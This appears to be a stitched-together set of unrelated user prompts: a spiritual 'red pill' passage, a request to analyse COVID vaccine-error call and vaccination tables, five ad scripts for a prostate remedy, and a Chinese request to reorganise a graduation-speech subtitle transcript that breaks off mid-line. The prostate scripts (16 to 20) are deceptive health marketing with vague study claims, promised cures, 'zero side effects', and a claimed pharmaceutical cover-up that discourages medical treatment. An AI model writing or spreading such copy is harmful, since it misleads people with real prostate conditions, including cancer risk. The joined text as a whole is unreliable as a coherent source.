this grand illusion hides you from truth. It allows you to be an actor without ever becoming aware of your role in the play, only tasked to perform as you are. You play victim in this role and let the show tell you what’s next. The red pill opens up the rabbit hole. The red pill opens up Pandora’s Box. The red pill opens up awareness. The red pill gives you the script manual. It enables you to control your role in the show as the scriptwriter and lead performer. The red pill enables you to become the show and dictate what happens next.\nThis guide is the equivalent of the red pill. If this is too heavy for you, take the blue pill and stop reading. There’s always a choice. And no matter what you choose, the show will go on. So the choice is free of judgment because it’s all perfect. The 1999 film The Matrix shows this as the single most important choice you ever make. In truth, it is. However, the choice isn’t chosen once— it’s chosen in everything you choose to be and do.\nForget or remember.\nLove or fear.\nCome together or separate from each other.\nYou always make this choice: Red pill or blue pill. This is the illusion in plain sight. Some call this our Grand Dichotomy. Some call it the Grand Illusion: the greatest magic show in the universe. Some, the Greatest Contradiction to hit humans. Some, the Manifestation of Original Sin— the stage known as Hell. Some, Spiritual Amnesia. Some, the Greatest Drama. For convenience, we’ll call this the Illusion of Separation because that’s what it is; the belief we are separate from the truth— separate from all that is, and separate from each other. This illusion’s power is in forgetting the truth, and forgetting the illusion exists.\nRemember, what unites us all is the thinking stuff. Therefore, as products of thinking stuff, how we manifest through it is all the same. The same stuff that wakes you up in the morning is the same stuff that makes the tree grow. The same stuff that makes water flow makes our journey of life flow. The same stuff that holds matter together holds us together. We manifest through desire, the unexpressed possibility seeking expression; this is the foundation of all creation.\nDesire is expressed on a spectrum. If we plot the full range of human experiences on a large circle— the horrific with the most beautiful— we express the full range how we want to. If we include every experience of intelligent substance to this plot, we express the full range of possibilities of the universe. This is why we are here: to experience knowing everything. Every dichotomy we’ve created— good/evil, heaven/hell, love/fear, prosperity/poverty, confidence/arrogance, acceptance/resistance, or any you can imagine— exist on a spectrum expressed through desire. The only difference between us and our environment is how that expression appears. We choose how it looks: we choose how we express love; we choose how we express fear; we choose how we express anger; and we choose how we express joy. We choose how as a statement of who we are.\nWe experience desire because we forget that we have all there is to have and can’t know what something is without knowing what it’s not. We wouldn’t know what happiness, nourishment, health, or love were without their opposite because experiences do not exist without their opposite. The experience requires that we seek it; to seek, we must separate from what we seek. When we’re separate from, we open the possibility for desires and their opposite to be fulfilled; they must both exist for us to choose what we want: The red pill or blue pill.\nThe act of choice provides variety within the most important factor of playing your role in the grand performance: Choose who you are, choose who you want to be, and choose how you\nbecome. The greatest truth can only be experienced with the greatest illusion. We may manifest in ways that look different, but we all fulfill the ultimate purpose of existence: to know what it’s like to be intelligent substance— to be the universe. Before anything else can make sense, you must know this. This is the order. We have the blueprint, and we choose at every moment what we want to do with it— ignore it, use it, or become it.\nWhat happens from this experience is up to the universal order from what you choose. But you break the illusion’s grasp and become free when you remember the truth; that is, until you forget and the cycle repeats. This is the foundation of everything you will read following this; as a result, the following statements will anchor the rest of this guide at each end as your reminder of the goal to raise your awareness:\nAs your perception changes, so do your thoughts, feelings, and actions. As your thoughts, feelings, and actions change, so does your perspective. As your perception changes, therefore, so does your perspective. When your perspective changes, so does your role and choice made at every turn: red pill, blue pill. When your perception changes, you become the choice: becoming all there is.\nWhen you embody all there is within you, you bring unity to the universe. This is the great task we’re here for. How you perform this task is up to you.' +'TIME BASED QUERIES\nI did an analysis of a covid call centre for medical professionals. The first dataset below outlines the number of calls containing the keyword "Error" in accordance with date. This referred to Vaccine Errors. The second data set pasted below outlines the number of webinars that took place for medical professionals, as well as newsletter sent out that related to Covid 19 Vaccine Errors to inform medical professionals about Vaccine Errors. The third dataset is the number of Covid vaccines given in relation to date. Please analyse the following and tell me trends and how the three data sets might relate to each other.\n--\nData Set 1: Error\n\nDate Error\n1/01/2020 0\n8/01/2020 0\n15/01/2020 0\n22/01/2020 0\n29/01/2020 0\n5/02/2020 0\n12/02/2020 0\n19/02/2020 0\n26/02/2020 0\n4/03/2020 0\n11/03/2020 0\n18/03/2020 0\n25/03/2020 0\n1/04/2020 0\n8/04/2020 0\n15/04/2020 0\n22/04/2020 0\n29/04/2020 0\n6/05/2020 0\n13/05/2020 0\n20/05/2020 0\n27/05/2020 0\n3/06/2020 0\n10/06/2020 1\n17/06/2020 0\n24/06/2020 0\n1/07/2020 0\n8/07/2020 0\n15/07/2020 0\n22/07/2020 0\n29/07/2020 0\n5/08/2020 0\n12/08/2020 0\n19/08/2020 1\n26/08/2020 0\n2/09/2020 0\n9/09/2020 0\n16/09/2020 0\n23/09/2020 0\n30/09/2020 0\n7/10/2020 0\n14/10/2020 0\n21/10/2020 0\n28/10/2020 0\n4/11/2020 0\n11/11/2020 0\n18/11/2020 0\n25/11/2020 0\n2/12/2020 0\n9/12/2020 0\n16/12/2020 0\n23/12/2020 0\n30/12/2020 0\n6/01/2021 0\n13/01/2021 0\n20/01/2021 0\n27/01/2021 0\n3/02/2021 0\n10/02/2021 0\n17/02/2021 0\n24/02/2021 0\n3/03/2021 1\n10/03/2021 0\n17/03/2021 0\n24/03/2021 0\n31/03/2021 0\n7/04/2021 0\n14/04/2021 0\n21/04/2021 1\n28/04/2021 0\n5/05/2021 1\n12/05/2021 4\n19/05/2021 0\n26/05/2021 2\n2/06/2021 2\n9/06/2021 1\n16/06/2021 2\n23/06/2021 5\n30/06/2021 6\n7/07/2021 1\n14/07/2021 2\n21/07/2021 3\n28/07/2021 4\n4/08/2021 1\n11/08/2021 3\n18/08/2021 3\n25/08/2021 17\n1/09/2021 9\n8/09/2021 9\n15/09/2021 12\n22/09/2021 3\n29/09/2021 11\n6/10/2021 8\n13/10/2021 9\n20/10/2021 4\n27/10/2021 8\n3/11/2021 10\n10/11/2021 7\n17/11/2021 5\n24/11/2021 6\n1/12/2021 7\n8/12/2021 5\n15/12/2021 4\n22/12/2021 3\n29/12/2021 5\n5/01/2022 11\n12/01/2022 13\n19/01/2022 32\n26/01/2022 34\n2/02/2022 8\n9/02/2022 9\n16/02/2022 12\n23/02/2022 28\n2/03/2022 14\n9/03/2022 18\n16/03/2022 16\n23/03/2022 16\n30/03/2022 12\n6/04/2022 4\n13/04/2022 3\n20/04/2022 3\n27/04/2022 9\n4/05/2022 3\n11/05/2022 1\n18/05/2022 4\n25/05/2022 3\n1/06/2022 5\n8/06/2022 1\n15/06/2022 8\n22/06/2022 3\n29/06/2022 6\n6/07/2022 11\n13/07/2022 21\n20/07/2022 11\n27/07/2022 9\n3/08/2022 3\n10/08/2022 3\n17/08/2022 2\n24/08/2022 3\n31/08/2022 3\n7/09/2022 0\n14/09/2022 0\n21/09/2022 1\n28/09/2022 0\n--\nData Set 2: (Covid Communications)\nDate Covid Communications\n1/01/2020 \n8/01/2020 \n15/01/2020 \n22/01/2020 \n29/01/2020 \n5/02/2020 \n12/02/2020 \n19/02/2020 \n26/02/2020 \n4/03/2020 \n11/03/2020 \n18/03/2020 \n25/03/2020 \n1/04/2020 \n8/04/2020 \n15/04/2020 \n22/04/2020 \n29/04/2020 \n6/05/2020 \n13/05/2020 \n20/05/2020 \n27/05/2020 \n3/06/2020 \n10/06/2020 \n17/06/2020 \n24/06/2020 \n1/07/2020 \n8/07/2020 \n15/07/2020 \n22/07/2020 \n29/07/2020 \n5/08/2020 \n12/08/2020 \n19/08/2020 \n26/08/2020 \n2/09/2020 \n9/09/2020 \n16/09/2020 \n23/09/2020 \n30/09/2020 \n7/10/2020 \n14/10/2020 \n21/10/2020 \n28/10/2020 \n4/11/2020 \n11/11/2020 \n18/11/2020 \n25/11/2020 \n2/12/2020 \n9/12/2020 \n16/12/2020 \n23/12/2020 \n30/12/2020 \n6/01/2021 \n13/01/2021 \n20/01/2021 \n27/01/2021 \n3/02/2021 \n10/02/2021 \n17/02/2021 \n24/02/2021 \n3/03/2021 \n10/03/2021 \n17/03/2021 \n24/03/2021 \n31/03/2021 \n7/04/2021 \n14/04/2021 \n21/04/2021 \n28/04/2021 \n5/05/2021 \n12/05/2021 \n19/05/2021 \n26/05/2021 \n2/06/2021 \n9/06/2021 \n16/06/2021 \n23/06/2021 \n30/06/2021 \n7/07/2021 \n14/07/2021 \n21/07/2021 \n28/07/2021 \n4/08/2021 \n11/08/2021 \n18/08/2021 \n25/08/2021 \n1/09/2021 \n8/09/2021 \n15/09/2021 \n22/09/2021 \n29/09/2021 \n6/10/2021 \n13/10/2021 \n20/10/2021 \n27/10/2021 \n3/11/2021 \n10/11/2021 \n17/11/2021 \n24/11/2021 \n1/12/2021 \n8/12/2021 \n15/12/2021 \n22/12/2021 \n29/12/2021 \n5/01/2022 \n12/01/2022 \n19/01/2022 \n26/01/2022 \n2/02/2022 \n9/02/2022 \n16/02/2022 \n23/02/2022 \n2/03/2022 \n9/03/2022 \n16/03/2022 \n23/03/2022 \n30/03/2022 \n6/04/2022 \n13/04/2022 \n20/04/2022 \n27/04/2022 \n4/05/2022 \n11/05/2022 \n18/05/2022 \n25/05/2022 \n1/06/2022 \n8/06/2022 1\n15/06/2022 \n22/06/2022 \n29/06/2022 \n6/07/2022 \n13/07/2022 \n20/07/2022 \n27/07/2022 \n3/08/2022 \n10/08/2022 \n17/08/2022 \n24/08/2022 \n31/08/2022 \n7/09/2022 \n14/09/2022 \n21/09/2022 \n28/09/2022 \n\nData Set 3: Weekly Covid Vaccines Adminstered\nDate Weekly Covid Vaccinations\n1/01/2020 \n8/01/2020 \n15/01/2020 \n22/01/2020 \n29/01/2020 \n5/02/2020 \n12/02/2020 \n19/02/2020 \n26/02/2020 \n4/03/2020 \n11/03/2020 \n18/03/2020 \n25/03/2020 \n1/04/2020 \n8/04/2020 \n15/04/2020 \n22/04/2020 \n29/04/2020 \n6/05/2020 \n13/05/2020 \n20/05/2020 \n27/05/2020 \n3/06/2020 \n10/06/2020 \n17/06/2020 \n24/06/2020 \n1/07/2020 \n8/07/2020 \n15/07/2020 \n22/07/2020 \n29/07/2020 \n5/08/2020 \n12/08/2020 \n19/08/2020 \n26/08/2020 \n2/09/2020 \n9/09/2020 \n16/09/2020 \n23/09/2020 \n30/09/2020 \n7/10/2020 \n14/10/2020 \n21/10/2020 \n28/10/2020 \n4/11/2020 \n11/11/2020 \n18/11/2020 \n25/11/2020 \n2/12/2020 \n9/12/2020 \n16/12/2020 \n23/12/2020 \n30/12/2020 \n6/01/2021 \n13/01/2021 \n20/01/2021 \n27/01/2021 \n3/02/2021 \n10/02/2021 \n17/02/2021 3\n24/02/2021 1785\n3/03/2021 9809\n10/03/2021 7840\n17/03/2021 9782\n24/03/2021 15901\n31/03/2021 28639\n7/04/2021 24628\n14/04/2021 47479\n21/04/2021 51768\n28/04/2021 52400\n5/05/2021 74079\n12/05/2021 84959\n19/05/2021 83636\n26/05/2021 91889\n2/06/2021 108438\n9/06/2021 96988\n16/06/2021 128831\n23/06/2021 128967\n30/06/2021 128121\n7/07/2021 122012\n14/07/2021 134732\n21/07/2021 157937\n28/07/2021 213411\n4/08/2021 267158\n11/08/2021 276385\n18/08/2021 268841\n25/08/2021 420764\n1/09/2021 570405\n8/09/2021 504466\n15/09/2021 405640\n22/09/2021 358895\n29/09/2021 304875\n6/10/2021 363497\n13/10/2021 506731\n20/10/2021 429080\n27/10/2021 241438\n3/11/2021 237312\n10/11/2021 171321\n17/11/2021 154403\n24/11/2021 132018\n1/12/2021 206206\n8/12/2021 191775\n15/12/2021 127191\n22/12/2021 131678\n29/12/2021 70166\n5/01/2022 106748\n12/01/2022 292715\n19/01/2022 295537\n26/01/2022 403361\n2/02/2022 315053\n9/02/2022 359909\n16/02/2022 343619\n23/02/2022 227990\n2/03/2022 183912\n9/03/2022 97155\n16/03/2022 68202\n23/03/2022 69106\n30/03/2022 48220\n6/04/2022 29621\n13/04/2022 23077\n20/04/2022 12233\n27/04/2022 15824\n4/05/2022 14500\n11/05/2022 10444\n18/05/2022 9414\n25/05/2022 8084\n1/06/2022 8973\n8/06/2022 7740\n15/06/2022 9358\n22/06/2022 9304\n29/06/2022 21525\n6/07/2022 53409\n13/07/2022 87631\n20/07/2022 92490\n27/07/2022 75540\n3/08/2022 67269\n10/08/2022 56627\n17/08/2022 48211\n24/08/2022 41430\n31/08/2022 33247\n7/09/2022 24897\n14/09/2022 22764\n21/09/2022 18083\n28/09/2022 12579' +"That was the last of the vision loss scripts. The next scripts are about prostate:\nScript 16:\nThis changes everything we know about enlarged prostates!\n\nAfter a ground breaking study which analysed the way 12,500 American men pee...\n\nScientists made a shocking discovery…\n\nThey discovered that even men who frequently have the frequent urge to urinate, or weak streams are at risk for prostate problems, which include prostate cancer, benign prostatic hyperplasia and prostatitis. \n\nSo if you have any prostate issues you must stop what your doing and watch this! this discovery could save your life. \n\nA shocking link between cortisol and your prostate was discovered by researchers at prestigious institutions like Harvard University, these studies show that your prostate will continue to swell like a balloon, even if you use traditional therapies. \n\nAnd that's because they don't do a single thing to actually improve the root cause of your prostate issues. These brilliant scientist’s have discovered the real reason why you can't sleep through the night without multiple bathroom trips. \n\nThe discovery lead to a revolutionary new way to reverse your prostate problems once and for all. No matter what your age, your current condition, and it works like crazy. \n\nThis secret habit is so amazing. It sent the entire prostate pharma industry back to the drawing board. And it's currently losing the millions of dollars. \n\n18 thousand men are already doing it and cutting down on trips to the bathroom, while restoring strong urine streams that flow like a mighty river. It's so powerful because it targets the single root cause of enlarged prostates. So if you're suffering from frequent urination, overwhelming urges to go and weak streams. \n\nStop everything you're doing and click the link below to watch a short free special video, that explains exactly how to reverse prostate problems quickly. And no, this has nothing to do with meds, surgery or Saw Palmetto and it works for all types of prostate symptoms. \nFrequent urination, waking up multiple times a night to pee, uncomfortable urges to go, inability to empty your bladder and weak start and stop streams, you name it. \n\nHundreds of men from all over the country have been writing in sharing how this new prostate breakthrough has cleared their bladder problems in weeks. \nAnd for the first time in years, they can sleep through the night again. For many this breakthrough has saved their marriages thanks to increased performance in the bedroom which they thought was gone forever. \n\nHow did this breakthrough happen? It's all thanks to the brilliant team of researchers right here in the USA, who figured out how to develop the perfect cortisol busting protocol, that can stop prostate growth in its tracks and reverse all of those miserable symptoms. After months of intense study and testing, they identified 13 prostate helpers, proven to turn back the clock on enlarged prostates giving thousands of men everywhere powerful streams, better sleep and turbocharged libidos. \n\nAs you can imagine, the pharmaceutical complex is trying their best to get this video taken down in a desperate attempt to save their profits. \n\nSo click the link below and watch this short eye opening video before it's gone. Click Below before it's too late.\n\nScript 17:\nWant to know how to reduce your swollen prostate for good? \n\ntop medical doctor shows how a 56 year old man who had been suffering from persistent prostate issues, used this all natural method to reduce his swollen prostate and finally fix all his swollen prostate symptoms in record time! \n\nAfter studying the way 12,500 American men pee... Scientists made a shocking discovery, They discovered a natural way to drastically restore swollen prostate’s, in record time. The\nstudies show that your prostate will continue to swell each passing year, even if you use traditional therapies. Like\nSaw\nPalmetto or other medications, And that's because they don't do a single thing to actually improve the root cause of your prostate issues. This\nbrilliant scientist has discovered the real reason why your prostate is swelling. and this simple trick that can reverse your prostate problems while you sleep through the night, no matter your age or current condition. A shocking link between cortisol and your prostate was discovered by researchers at prestigious institutions like Harvard University\n\nThese studies have shown that even men who have mild symptoms such as the frequent urge to urinate, or weak streams are at risk for prostate problems, which include prostate cancer, benign prostatic hyperplasia and prostatitis.\n\nSo stop everything you're doing and click the link below to watch a short free special video, Discover this revolutionary new way to reverse your prostate problems once and for all. and it works for all types of prostate symptoms. Frequent urination, waking up multiple times a night to pee, uncomfortable urges to go, inability to empty your bladder and weak start and stop streams.\nand it works like crazy.\n\nThis one simple trick is so amazing It sent the entire prostate- care industry back to the drawing board and it's currently losing them millions of dollars. \n\nOver 37,000 men are already doing it and cutting down on trips to the bathroom, while restoring strong urine streams that flow like a mighty river.\nAnd no, this has nothing to do with meds, surgery or Saw Palmetto. Hundreds of men from all over the country have been writing in sharing how this new prostate breakthrough has cleared their bladder problems in weeks. And for the first time in years, they can sleep through the night again. For many this breakthrough has saved their marriages thanks to increased performance in the bedroom which they thought was gone forever. Jim is a man who had gotten a prostate exam by his urologist seven months ago, his examination came back that he had a severely swollen prostate that was blocking his urethra, He was prescribed a catheter. But soon after he discovered and started doing this simple habit. He couldn't believe his results. \n\nWhen he went to the toilet he was shock to see first hand that he was finally able to empty his bladder, he noticed his libido was increasing, and he could finally sleep the whole night without waking up\n\nAfter a month, he went back to see the doctor who was shocked to see that Jim was cleared and the doctor no longer said a word about a catheter\n\nSo click the link below and watch the short free eye opening video now before it's gone for good. \n\nIf it worked for Jim and thousands of other men. Imagine what it can do for you too!\n\nScript 18:\nWant to know how to reduce your swollen prostate for good?\n\nTop doctor from has discovered the real root cause of swollen prostates. And it has nothing to do with your diet, testosterone levels or even genetics. \n\nBut instead The studies show that your prostate will continue to swell each passing year, even if you use traditional therapies. Like saw Palmetto or other medications, And that's because they don't do a single thing to actually improve the root cause of your prostate issues.\n\nSo before you resign yourself to being hooked on medication for life or other deliberating surgeries, you’ve got to see this now, \n\nthis well known doctor was forced out of his practice after he unveiled a billion dollar secret he wasn't supposed to know a clinically proven simple trick you can use starting today to potentially reduce your swollen prostate, regardless of your age or medical condition, and it works like crazy. \n\nMore than 43,000 men are already doing it and they have been able to treat reduce their swollen prostate successfully and no longer suffer with the serious and sometimes embarrassing symptoms, they are no longer waking up during the night and have finally restored strong and powerful streams being able to completely receive them selves!\n\nRemember, this has nothing to do with meds, surgery or expensive treatments, \n\nwell stop everything you're doing and click the link below to watch a short free special video this doctor created \n\nThe $390 billion Prostate care industry doesn't want you to see this video and discover the extraordinary prostate fighting secret. Watch it now before it's too late.\n\nScript 19: \nIf you suffer from a swollen prostate, this might be the most important video you ever watch. \nAfter studying 12,500 American men pee, scientists discovered a revolutionary way to reverse enlarged prostates. \n\nTheir studies show that type a swollen prostate is a completely reversible condition, and if not treated properly, it increases the risk of so many other life threatening diseases such prostate cancer, benign prostatic hyperplasia and prostatitis. \n\nThis simple discovery is already helping thousands of men to free themselves from their swollen prostate symptoms. \n\nFor the first time in years, they have been able sleep through the night without multiple bathroom trips and uncomfortable urges to go, inability to empty their bladder and finally able to completely relieve themselves.\nIt doesn't require Saw palmetto or any other expensive meds, treatments, diets or surgery, instead a unique and very different way to finally reduce swollen prostates by targeting the real root cause of your prostate issues. \n\nAnd today, I'm going to show you how it's helping thousands of men from all around the world to drastically restore their swollen prostate’s, in record time.\nSo stop everything you're doing and click the link below to watch a short free special video, Discover how to quickly reverse your prostate problems once and for all. and it works for all types of prostate symptoms. Frequent urination, waking up multiple times a night to pee, uncomfortable urges to go, low libido, inability to empty your bladder and weak start and stop streams while also saving hundreds or even thousands of dollars on medications.\n\nAnd this unique and very different method of treating your swollen prostate, will provide immediate and long lasting results, is affordable for anyone uses natural ingredients has zero side effects. \n\nThis all natural solution is so simple and effective. \nThat no matter how severe or swollen your prostate is, how long you have been struggling with it for or what your family medical history is, it can be implemented into your daily routine in the comfort of your own home in a matter of seconds each day. \n\nThis all natural solution has saved the lives of over 76,000 men across the world and counting. Hundreds of men have been writing in sharing how this new prostate breakthrough has changed their lives. \n\nWell stop everything you're doing and click the link below to watch a short free private video. \n\nThe $390 billion prostate care industry doesn't want you to see these video and discover the extraordinary swollen prostate fighting secret. Watch it now before it's too late.\n\nScript 20:\nIf you're suffering from a growing prostate and always running to the bathroom to pee, you must see this. \n\nDid you know prostate problems have nothing to do with your age or even your testosterone levels? \n\nA shocking link between cortisol and your prostate was discovered by researchers at the University of Iowa, along with researchers at prestigious institutions like Harvard University, these studies show that your prostate will continue to swell like a balloon, even if you use traditional therapies. \n\nAnd that's because they don't do a single thing to actually improve the root cause of your prostate issues. This brilliant scientist helped in discovering the real reason why you can't sleep through the night without multiple bathroom trips, and a revolutionary new way to reverse your prostate problems once and for all. No matter what your age, your current condition, and it works like crazy. \n\nThis secret habit is so amazing. It sent the entire prostate pharma industry back to the drawing board. And it's currently losing the millions of dollars. \n\n18 thousand men are already doing it and cutting down on trips to the bathroom, while restoring strong urine streams that flow like a mighty river. It's so powerful because it targets the single root cause of enlarged prostates. So if you're suffering from frequent urination, overwhelming urges to go and weak streams. \n\nStop everything you're doing and click the link below to watch a short free special video, that explains exactly how to reverse prostate problems quickly. And no, this has nothing to do with meds, surgery or Saw Palmetto and it works for all types of prostate symptoms. \nFrequent urination, waking up multiple times a night to pee, uncomfortable urges to go, inability to empty your bladder and weak start and stop streams, you name it. \n\nHundreds of men from all over the country have been writing in sharing how this new prostate breakthrough has cleared their bladder problems in weeks. \nAnd for the first time in years, they can sleep through the night again. For many this breakthrough has saved their marriages thanks to increased performance in the bedroom which they thought was gone forever. \n\nHow did this breakthrough happen? It's all thanks to the brilliant team of researchers right here in the USA, who figured out how to develop the perfect cortisol busting protocol, that can stop prostate growth in its tracks and reverse all of those miserable symptoms. After months of intense study and testing, they identified 13 prostate helpers, proven to turn back the clock on enlarged prostates giving thousands of men everywhere powerful streams, better sleep and turbocharged libidos. \n\nAs you can imagine, the pharmaceutical complex is trying their best to get this video taken down in a desperate attempt to save their profits. \n\nSo click the link below and watch this short eye opening video before it's gone. Click Below before it's too late." +"下面的內容是一個逐字稿分段，目前他被拆成了212個分段，但是分段的很混亂，沒有整理過，所以讓人很難閱讀跟理解。接下來我需要你扮演一個能夠快速理解文意、並且將逐字稿切分成完整段落的文字編輯者。請你讀過內容後，重新把這個逐字稿整理成12段語意、段落、都能夠完整表達句子的段落。\n\n1\n00:00:07,533 --> 00:00:09,599\nI found that nothing in life\n\n2\n00:00:10,100 --> 00:00:11,466\nis worthwhile\n\n3\n00:00:12,000 --> 00:00:13,700\nunless you take risks\n\n4\n00:00:14,400 --> 00:00:15,200\nnothing\n\n5\n00:00:16,366 --> 00:00:19,933\nNelson Mandela said there is no passion to be found\n\n6\n00:00:20,133 --> 00:00:21,466\nplaying small\n\n7\n00:00:21,866 --> 00:00:24,066\nin settling for a life that's less\n\n8\n00:00:24,400 --> 00:00:26,566\nthan the one you're capable of living\n\n9\n00:00:27,300 --> 00:00:29,300\nnow I'm sure in your experiences in school\n\n10\n00:00:29,300 --> 00:00:30,866\nand applying to college and\n\n11\n00:00:30,900 --> 00:00:31,766\npicking your major\n\n12\n00:00:31,766 --> 00:00:33,366\nand deciding what you want to do with\n\n13\n00:00:33,366 --> 00:00:35,533\nlike I'm sure people have told you\n\n14\n00:00:35,566 --> 00:00:37,866\nto make sure you have something to fall back on\n\n15\n00:00:38,066 --> 00:00:40,166\nmake sure you got something to fall back on honey\n\n16\n00:00:41,333 --> 00:00:43,466\nbut I never understood that concept\n\n17\n00:00:43,866 --> 00:00:45,666\nhaving something to fall back on\n\n18\n00:00:46,866 --> 00:00:48,333\nif I'm going to fall\n\n19\n00:00:49,333 --> 00:00:51,499\nI don't want to fall back on anything\n\n20\n00:00:51,900 --> 00:00:53,466\nI want to fall forward\n\n21\n00:00:54,366 --> 00:00:55,533\nI figure at least this way\n\n22\n00:00:55,533 --> 00:00:57,133\nI'll see what I'm going to hit\n\n23\n00:00:59,333 --> 00:01:00,699\nwithout consistency\n\n24\n00:01:01,300 --> 00:01:02,566\nyou'll never finish\n\n25\n00:01:04,500 --> 00:01:07,666\nso do what you feel passionate about passionate about\n\n26\n00:01:08,100 --> 00:01:09,533\ntake chances\n\n27\n00:01:10,933 --> 00:01:12,366\ndon't be afraid to fail this\n\n28\n00:01:12,366 --> 00:01:15,199\nan old IQ test was nine dots\n\n29\n00:01:15,566 --> 00:01:16,899\nand you had to\n\n30\n00:01:16,966 --> 00:01:20,399\ndraw five lines with a pencil within these nine dots\n\n31\n00:01:21,200 --> 00:01:22,466\nwithout lifting the pencil\n\n32\n00:01:22,933 --> 00:01:25,799\nthe only way to do it was to go outside the box\n\n33\n00:01:28,166 --> 00:01:29,566\ndon't be afraid to\n\n34\n00:01:30,133 --> 00:01:31,799\nthink outside the box\n\n35\n00:01:31,800 --> 00:01:34,333\ndon't be afraid to fail big\n\n36\n00:01:34,566 --> 00:01:37,899\nto dream big but remember\n\n37\n00:01:39,166 --> 00:01:40,366\ndreams\n\n38\n00:01:41,066 --> 00:01:42,399\nwithout goals\n\n39\n00:01:43,466 --> 00:01:45,066\nare just dreams\n\n40\n00:01:48,866 --> 00:01:51,899\nReggie Jackson struck out 2600 times in his career\n\n41\n00:01:51,900 --> 00:01:54,533\nthe most in the history of baseball\n\n42\n00:01:54,533 --> 00:01:56,466\nbut you don't hear about the strikeouts\n\n43\n00:01:56,466 --> 00:01:58,299\npeople remember the home runs\n\n44\n00:01:59,766 --> 00:02:00,899\nfall forward\n\n45\n00:02:02,500 --> 00:02:05,766\nThomas Edison conducted 1000 failed experiments\n\n46\n00:02:05,766 --> 00:02:07,199\ndid you know that I didn't know that\n\n47\n00:02:08,800 --> 00:02:12,366\nbecause the 1000 and 1st was the light bulb\n\n48\n00:02:14,266 --> 00:02:15,466\nfall forward\n\n49\n00:02:16,933 --> 00:02:20,766\nevery failed experiment is one step closer to success\n\n50\n00:02:21,933 --> 00:02:23,533\nyou've got to take risks\n\n51\n00:02:23,533 --> 00:02:25,766\nand I'm sure you've probably heard that before\n\n52\n00:02:25,766 --> 00:02:28,733\nbut I want to talk to you about why that's so important\n\n53\n00:02:32,400 --> 00:02:35,566\nyou will fail at some point in your life except it\n\n54\n00:02:35,700 --> 00:02:36,866\nyou will lose\n\n55\n00:02:37,500 --> 00:02:39,200\nyou will embarrass yourself\n\n56\n00:02:39,700 --> 00:02:41,733\nyou will suck at something\n\n57\n00:02:41,766 --> 00:02:43,166\nthere's no doubt about it\n\n58\n00:02:43,866 --> 00:02:44,966\nand I know that's probably\n\n59\n00:02:44,966 --> 00:02:47,666\nnot a traditional message for a graduation ceremony\n\n60\n00:02:47,666 --> 00:02:48,466\nbut hey\n\n61\n00:02:48,566 --> 00:02:51,866\nI'm telling you embrace it because it's inevitable\n\n62\n00:02:56,733 --> 00:02:58,866\nin the acting business you fail all the time\n\n63\n00:02:58,866 --> 00:03:00,199\nearly on in my career\n\n64\n00:03:00,766 --> 00:03:03,666\nI auditioned for a part in a Broadway musical\n\n65\n00:03:04,400 --> 00:03:05,966\nperfect role for me I thought\n\n66\n00:03:06,566 --> 00:03:08,566\nexcept for the fact that I can't sing\n\n67\n00:03:11,200 --> 00:03:12,333\nI didn't get the job\n\n68\n00:03:16,066 --> 00:03:17,266\nbut here's the thing\n\n69\n00:03:18,600 --> 00:03:19,966\nI didn't quit\n\n70\n00:03:21,466 --> 00:03:23,066\nI didn't fall back\n\n71\n00:03:24,500 --> 00:03:27,133\nI walked out of there to prepare for the next audition\n\n72\n00:03:27,133 --> 00:03:28,199\nand the next audition\n\n73\n00:03:28,200 --> 00:03:29,466\nand the next audition\n\n74\n00:03:30,100 --> 00:03:31,200\nI prayed\n\n75\n00:03:33,166 --> 00:03:35,966\nI prayed and I prayed\n\n76\n00:03:38,266 --> 00:03:39,699\nbut I continue to fail\n\n77\n00:03:40,100 --> 00:03:40,933\nand fail\n\n78\n00:03:41,666 --> 00:03:43,933\nand fail but it didn't matter because you know what\n\n79\n00:03:44,533 --> 00:03:45,666\nthere's an old saying\n\n80\n00:03:46,166 --> 00:03:48,199\nyou hang around the barbershop long enough\n\n81\n00:03:48,200 --> 00:03:50,100\nsooner or lady you're gonna get a haircut\n\n82\n00:03:52,300 --> 00:03:53,800\nso you will catch a break\n\n83\n00:03:53,800 --> 00:03:55,366\nand I did catch a break\n\n84\n00:03:57,366 --> 00:03:58,366\nlast year\n\n85\n00:03:59,466 --> 00:04:01,733\nI did a play called fences on Broadway\n\n86\n00:04:02,533 --> 00:04:03,666\nbut here's the kicker\n\n87\n00:04:04,766 --> 00:04:06,499\nit was at the court theater\n\n88\n00:04:07,700 --> 00:04:09,500\nit was at the same theater\n\n89\n00:04:09,733 --> 00:04:11,966\nthat I failed at 1st audition\n\n90\n00:04:12,300 --> 00:04:13,500\n30 years prior\n\n91\n00:04:15,300 --> 00:04:16,300\nthe point is\n\n92\n00:04:16,300 --> 00:04:18,766\nevery graduate here today has the training\n\n93\n00:04:18,866 --> 00:04:21,099\nand the talent to succeed\n\n94\n00:04:21,500 --> 00:04:24,133\nbut do you have the guts to fail\n\n95\n00:04:26,733 --> 00:04:28,366\nif you don't fail\n\n96\n00:04:29,200 --> 00:04:30,733\nyou're not even trying\n\n97\n00:04:33,533 --> 00:04:34,466\nI'll say it again\n\n98\n00:04:34,466 --> 00:04:37,266\nif you don't fail you're not even trying\n\n99\n00:04:38,933 --> 00:04:41,166\nto get something you never had\n\n100\n00:04:41,200 --> 00:04:43,966\nyou have to do something you never did\n\n101\n00:04:45,500 --> 00:04:47,466\nas imagine you're on your deathbed\n\n102\n00:04:47,800 --> 00:04:49,733\nand standing around your deathbed\n\n103\n00:04:50,066 --> 00:04:53,733\nare the ghosts representing your unfulfilled potential\n\n104\n00:04:54,533 --> 00:04:57,499\nthe ghost of the ideas you never acted on\n\n105\n00:04:58,066 --> 00:05:00,599\nthe ghost of the talents you didn't use\n\n106\n00:05:01,700 --> 00:05:03,700\nand they're standing around your bed\n\n107\n00:05:04,400 --> 00:05:05,333\nangry\n\n108\n00:05:06,000 --> 00:05:08,666\ndisappointed and upset\n\n109\n00:05:12,500 --> 00:05:14,400\nthey say we we came to you\n\n110\n00:05:14,566 --> 00:05:17,499\nbecause you could have brought us to life they say\n\n111\n00:05:20,300 --> 00:05:22,700\nand now we have to go to the grave together\n\n112\n00:05:24,533 --> 00:05:25,966\nso I ask you today\n\n113\n00:05:27,700 --> 00:05:29,700\nhow many ghosts are going to be around your bed\n\n114\n00:05:29,700 --> 00:05:31,166\nwhen your time comes\n\n115\n00:05:43,066 --> 00:05:45,766\nI just got back from South Africa's beautiful country\n\n116\n00:05:46,466 --> 00:05:48,533\nbut there are places there with terrible\n\n117\n00:05:48,900 --> 00:05:50,300\npoverty that need help\n\n118\n00:05:51,533 --> 00:05:54,133\nan Africa is just the tip of the iceberg\n\n119\n00:05:54,200 --> 00:05:55,866\nthe Middle East needs your 